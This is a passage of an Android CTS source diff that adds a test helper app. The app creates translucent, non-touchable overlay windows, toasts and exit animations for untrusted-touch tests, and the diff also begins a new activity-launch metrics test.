+    defaults: ["cts_support_defaults"],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    static_libs: [
+        "cts-wm-app-base",
+        "androidx.annotation_annotation",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
new file mode 100644
index 0000000..3a608dc
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.wm.overlay">
+
+    <!-- We use SAWs to create obscuring windows for test WindowUntrustedTouchTest -->
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application>
+        <service
+            android:name="android.server.wm.overlay.UntrustedTouchTestService"
+            android:exported="true" />
+        <activity
+            android:name="android.server.wm.overlay.OverlayActivity"
+            android:theme="@android:style/Theme.Translucent"
+            android:exported="true" />
+        <activity
+            android:name="android.server.wm.overlay.ExitAnimationActivity"
+            android:exported="true" />
+        <activity
+            android:name="android.server.wm.overlay.ToastActivity"
+            android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_7.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_7.xml
new file mode 100644
index 0000000..c58678b
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_7.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="0.7"
+    android:toAlpha="0.7"
+    android:duration="@integer/animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_9.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_9.xml
new file mode 100644
index 0000000..6f58a9a
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_9.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="0.9"
+    android:toAlpha="0.9"
+    android:duration="@integer/animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_1.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_1.xml
new file mode 100644
index 0000000..8b1a09e
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_1.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="1"
+    android:toAlpha="1"
+    android:duration="@integer/animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml
new file mode 100644
index 0000000..cb60741
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="0.7"
+    android:toAlpha="0.7"
+    android:duration="@integer/long_animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml
new file mode 100644
index 0000000..062c213
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="1"
+    android:toAlpha="1"
+    android:duration="@integer/long_animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml b/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
new file mode 100644
index 0000000..69d88b3
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <integer name="animation_duration">2000</integer>
+    <integer name="long_animation_duration">6000</integer>
+</resources>
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
new file mode 100644
index 0000000..beff6c1
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+
+public class Components extends ComponentsBase {
+    public interface UntrustedTouchTestService {
+        ComponentName COMPONENT = component("UntrustedTouchTestService");
+    }
+
+    public interface OverlayActivity {
+        ComponentName COMPONENT = component("OverlayActivity");
+        String EXTRA_OPACITY = "opacity";
+        String EXTRA_TOUCHABLE = "touchable";
+        String EXTRA_TOKEN_RECEIVER = "token_receiver";
+        String EXTRA_TOKEN = "token";
+    }
+
+    public interface ExitAnimationActivity {
+        ComponentName COMPONENT = component("ExitAnimationActivity");
+    }
+
+    public interface ExitAnimationActivityReceiver {
+        String ACTION_FINISH =
+                "android.server.wm.overlay.ExitAnimationActivityReceiver.ACTION_FINISH";
+        String EXTRA_ANIMATION = "animation";
+        int EXTRA_VALUE_ANIMATION_EMPTY = 0;
+        int EXTRA_VALUE_ANIMATION_0_7 = 1;
+        int EXTRA_VALUE_ANIMATION_0_9 = 2;
+        int EXTRA_VALUE_LONG_ANIMATION_0_7 = 3;
+    }
+
+    public interface ToastActivity {
+        ComponentName COMPONENT = component("ToastActivity");
+    }
+
+    private static ComponentName component(String className) {
+        return component(Components.class, className);
+    }
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ExitAnimationActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ExitAnimationActivity.java
new file mode 100644
index 0000000..ded84a7
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ExitAnimationActivity.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.view.View;
+
+import androidx.annotation.AnimRes;
+import androidx.annotation.Nullable;
+
+
+/**
+ * Activity that registers a receiver to listen to actions in {@link
+ * Components.ExitAnimationActivityReceiver} to exit with animations.
+ */
+public class ExitAnimationActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = new View(this);
+        view.setBackgroundColor(BACKGROUND_COLOR);
+        setContentView(view);
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        registerReceiver(mReceiver,
+                new IntentFilter(Components.ExitAnimationActivityReceiver.ACTION_FINISH));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        unregisterReceiver(mReceiver);
+    }
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            switch (intent.getAction()) {
+                case Components.ExitAnimationActivityReceiver.ACTION_FINISH:
+                    int exitAnimation = intent.getIntExtra(
+                            Components.ExitAnimationActivityReceiver.EXTRA_ANIMATION,
+                            Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY);
+                    finish();
+                    overridePendingTransition(getEnterAnimationRes(exitAnimation),
+                            getAnimationRes(exitAnimation));
+                    break;
+                default:
+                    throw new AssertionError("Unknown action" + intent.getAction());
+            }
+        }
+    };
+
+    /** An enter animation for a certain exit animation, mostly so durations match. */
+    @AnimRes
+    private static int getEnterAnimationRes(int exitAnimation) {
+        switch (exitAnimation) {
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY:
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_7:
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_9:
+                return R.anim.alpha_1;
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7:
+                return R.anim.long_alpha_1;
+            default:
+                throw new AssertionError("Unknown animation value " + exitAnimation);
+        }
+    }
+
+    @AnimRes
+    private static int getAnimationRes(int animation) {
+        switch (animation) {
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY:
+                return 0;
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_7:
+                return R.anim.alpha_0_7;
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_9:
+                return R.anim.alpha_0_9;
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7:
+                return R.anim.long_alpha_0_7;
+            default:
+                throw new AssertionError("Unknown animation value " + animation);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
new file mode 100644
index 0000000..0d1199f
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_OPACITY;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN_RECEIVER;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOUCHABLE;
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.ResultReceiver;
+import android.view.View;
+import android.view.Window;
+import android.view.WindowManager.LayoutParams;
+
+import androidx.annotation.Nullable;
+
+/** This is an activity for which android:windowIsTranslucent is true. */
+public class OverlayActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = new View(this);
+        view.setBackgroundColor(BACKGROUND_COLOR);
+        setContentView(view);
+        Window window = getWindow();
+        Intent intent = getIntent();
+        window.getAttributes().alpha = intent.getFloatExtra(EXTRA_OPACITY, 1f);
+        if (!intent.getBooleanExtra(EXTRA_TOUCHABLE, false)) {
+            window.addFlags(LayoutParams.FLAG_NOT_TOUCHABLE);
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        ResultReceiver receiver = getIntent().getParcelableExtra(EXTRA_TOKEN_RECEIVER);
+        if (receiver != null) {
+            // The token field is set as part of resuming the activity (after onResume()), so
+            // posting a runnable to the same thread guarantees that it gets executed when the token
+            // is set.
+            getWindow().getDecorView().post(() -> {
+                Bundle bundle = new Bundle();
+                bundle.putBinder(EXTRA_TOKEN, getWindow().getAttributes().token);
+                receiver.send(0, bundle);
+            });
+        }
+    }
+
+
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
new file mode 100644
index 0000000..5870d91
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
+
+import android.app.Activity;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.View;
+import android.widget.Toast;
+
+public class ToastActivity extends Activity {
+    private static final String TAG = "ToastActivity";
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        // For toast matters, foreground means having an activity resumed on screen, so doing this
+        // on onResume()
+        Toast toast = new Toast(this);
+        View view = new View(this);
+        view.setBackgroundColor(BACKGROUND_COLOR);
+        toast.setView(view);
+        toast.setGravity(Gravity.FILL, 0, 0);
+        toast.setDuration(Toast.LENGTH_LONG);
+        Log.d(TAG, "Posting custom toast");
+        toast.show();
+        finish();
+    }
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java
new file mode 100644
index 0000000..25737f7
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.RemoteException;
+import android.server.wm.shared.IUntrustedTouchTestService;
+import android.util.ArrayMap;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+
+import java.util.Collections;
+import java.util.Map;
+
+
+public class UntrustedTouchTestService extends Service {
+    public static final int BACKGROUND_COLOR = 0xFF00FF00;
+
+    /** Map from view to the service manager that manages it. */
+    private final Map<View, WindowManager> mViewManagers = Collections.synchronizedMap(
+            new ArrayMap<>());
+
+    /** Can only be accessed from the main thread. */
+    private Toast mToast;
+
+    private final IUntrustedTouchTestService mBinder = new Binder();
+    private volatile Handler mMainHandler;
+    private volatile Context mSawContext;
+    private volatile WindowManager mWindowManager;
+    private volatile WindowManager mSawWindowManager;
+
+    @Override
+    public void onCreate() {
+        mMainHandler = new Handler(Looper.getMainLooper());
+        mWindowManager = getSystemService(WindowManager.class);
+        mSawContext = getContextForSaw(this);
+        mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
+    }
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder.asBinder();
+    }
+
+    @Override
+    public void onDestroy() {
+        removeOverlays();
+    }
+
+    private class Binder extends IUntrustedTouchTestService.Stub {
+        private final UntrustedTouchTestService mService = UntrustedTouchTestService.this;
+
+        @Override
+        public void showToast() {
+            mMainHandler.post(() -> {
+                mToast = Toast.makeText(mService, "Toast " + getPackageName(), Toast.LENGTH_LONG);
+                mToast.show();
+            });
+        }
+
+        @Override
+        public void showSystemAlertWindow(String name, float opacity) {
+            View view = getView(mSawContext);
+            LayoutParams params = newOverlayLayoutParams(name,
+                    LayoutParams.TYPE_APPLICATION_OVERLAY);
+            params.setTitle(name);
+            params.alpha = opacity;
+            mMainHandler.post(() -> mSawWindowManager.addView(view, params));
+            mViewManagers.put(view, mSawWindowManager);
+        }
+
+        @Override
+        public void showActivityChildWindow(String name, IBinder token) throws RemoteException {
+            View view = getView(mService);
+            LayoutParams params = newOverlayLayoutParams(name, LayoutParams.TYPE_APPLICATION);
+            params.token = token;
+            mMainHandler.post(() -> mWindowManager.addView(view, params));
+            mViewManagers.put(view, mWindowManager);
+        }
+
+        public void removeOverlays() {
+            mService.removeOverlays();
+        }
+    }
+
+    private void removeOverlays() {
+        synchronized (mViewManagers) {
+            for (View view : mViewManagers.keySet()) {
+                mViewManagers.get(view).removeView(view);
+            }
+            mViewManagers.clear();
+        }
+        mMainHandler.post(() -> {
+            if (mToast != null) {
+                mToast.cancel();
+            }
+        });
+    }
+
+    private static Context getContextForSaw(Context context) {
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
+        Context displayContext = context.createDisplayContext(display);
+        return displayContext.createWindowContext(LayoutParams.TYPE_APPLICATION_OVERLAY, null);
+    }
+
+    private static View getView(Context context) {
+        View view = new View(context);
+        view.setBackgroundColor(BACKGROUND_COLOR);
+        return view;
+    }
+
+    private static LayoutParams newOverlayLayoutParams(String windowName, int type) {
+        LayoutParams params = new LayoutParams(
+                LayoutParams.MATCH_PARENT,
+                LayoutParams.MATCH_PARENT,
+                type,
+                LayoutParams.FLAG_NOT_TOUCHABLE | LayoutParams.FLAG_NOT_FOCUSABLE,
+                PixelFormat.TRANSLUCENT);
+        params.setTitle(windowName);
+        return params;
+    }
+}
diff --git a/tests/framework/base/windowmanager/shared/Android.bp b/tests/framework/base/windowmanager/shared/Android.bp
new file mode 100644
index 0000000..81435f3
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "cts-wm-shared",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl",
+    ],
+}
diff --git a/tests/framework/base/windowmanager/shared/AndroidManifest.xml b/tests/framework/base/windowmanager/shared/AndroidManifest.xml
new file mode 100644
index 0000000..d5717f0
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/AndroidManifest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.wm.shared">
+    <application/>
+</manifest>
diff --git a/tests/framework/base/windowmanager/shared/README.md b/tests/framework/base/windowmanager/shared/README.md
new file mode 100644
index 0000000..6196414
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/README.md
@@ -0,0 +1,2 @@
+Code here is shared between the test helper apps (CtsDeviceServicesTestApp) and the test
+(CtsWindowManagerDeviceTestCases) itself.
diff --git a/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/BlockingResultReceiver.java b/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/BlockingResultReceiver.java
new file mode 100644
index 0000000..388c4c3
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/BlockingResultReceiver.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shared;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.Pair;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.BiConsumer;
+
+/**
+ * Version of {@link android.os.ResultReceiver} that blocks waiting for result and doesn't have
+ * serialization problems (as long as both ends have access to this class) since it doesn't work via
+ * subclassing.
+ */
+public class BlockingResultReceiver extends android.os.ResultReceiver {
+    private final CompletableFuture<Pair<Integer, Bundle>> mFuture = new CompletableFuture<>();
+
+    public BlockingResultReceiver() {
+        super(/* handler */ null);
+    }
+
+    @Override
+    protected void onReceiveResult(int code, Bundle data) {
+        mFuture.complete(new Pair<>(code, data));
+    }
+
+    public Bundle getData(long timeoutMs)
+            throws InterruptedException, ExecutionException, TimeoutException {
+        return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS).second;
+    }
+
+    public int getCode(long timeoutMs)
+            throws InterruptedException, ExecutionException, TimeoutException {
+        return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS).first;
+    }
+}
diff --git a/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/IUntrustedTouchTestService.aidl b/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/IUntrustedTouchTestService.aidl
new file mode 100644
index 0000000..e70ef1d
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/src/android/server/wm/shared/IUntrustedTouchTestService.aidl
@@ -0,0 +1,26 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.shared;
+
+import android.os.IBinder;
+
+interface IUntrustedTouchTestService {
+    void showToast();
+    void showSystemAlertWindow(String windowName, float opacity);
+    void showActivityChildWindow(String windowName, in IBinder token);
+    void removeOverlays();
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
index 4c3c9a0..abde1df 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
@@ -95,6 +95,7 @@
     private static final String LAUNCH_STATE_COLD = "COLD";
     private static final String LAUNCH_STATE_WARM = "WARM";
     private static final String LAUNCH_STATE_HOT = "HOT";
+    private static final String LAUNCH_STATE_RELAUNCH = "RELAUNCH";
     private static final int EVENT_WM_ACTIVITY_LAUNCH_TIME = 30009;
     private final MetricsReader mMetricsReader = new MetricsReader();
     private long mPreUptimeMs;
@@ -281,6 +282,29 @@
     }
 
     /**
+     * Launch an existing background activity after the device configuration is changed and the
+     * activity doesn't declare to handle the change. The state should be RELAUNCH instead of HOT.
+     */
+    @Test
+    public void testAppRelaunchSetsWaitResultDelayData() {
+        final String startTestActivityCmd = "am start -W " + TEST_ACTIVITY.flattenToShortString();
+        SystemUtil.runShellCommand(startTestActivityCmd);
+
+        // Launch another task and make sure a configuration change triggers relaunch.
+        launchAndWaitForActivity(SECOND_ACTIVITY);
+        separateTestJournal();
+
